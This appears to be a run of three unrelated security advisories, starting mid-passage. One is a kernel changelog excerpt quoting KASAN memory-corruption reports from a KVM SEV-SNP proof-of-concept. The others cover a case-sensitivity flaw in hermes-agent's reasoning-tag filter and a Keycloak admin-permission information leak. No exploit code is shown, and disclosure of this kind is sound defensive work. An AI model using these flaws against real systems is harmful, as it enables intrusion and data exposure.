VMGEXITs E.g. with KASAN enabled, a single insmod of the PoC guest module produces 73 KASAN reports: BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890 Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199 BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890 Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199 The buggy address belongs to the object at ffff888XXXXXXXXX which belongs to the cache kmalloc-cg-32 of size 32 The buggy address is located N bytes to the right of allocated 32-byte region [ffff888XXXXXXXXX, ffff888XXXXXXXXX) Breakdown: 62 slab-out-of-bounds (reads + writes past allocation) 7 slab-use-after-free 4 use-after-free All credit to Stan for the wonderful description and reproducer! [sean: write changelog]

A security vulnerability has been detected in NousResearch hermes-agent up to 2026.4.30. Affected is the function GatewayStreamConsumer._filter_and_accumulate of the file gateway/stream_consumer.py of the component Streaming Reasoning Tag Filter. The manipulation leads to improper handling of case sensitivity. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The project decided to not implement a dedicated fix: "[T]he analysis and the fix are both sound. It just lands below the bar for the maintenance cost of a duplicated scrub path."

A vulnerability was discovered in Keycloak's administrative interface that allows certain administrators to see information about groups they shouldn't have access to. When the new Fine-Grained Admin Permissions (FGAP v2) are turned on, an administrator who is allowed to see a specific "role" can also see a list of all groups assigned to that role. The system fails to check if the administrator has permission to see those specific groups. This could allow a restricted administrator to discover "hidden" groups and see their details, such as internal names and custom settings, which might contain sensitive deployment information.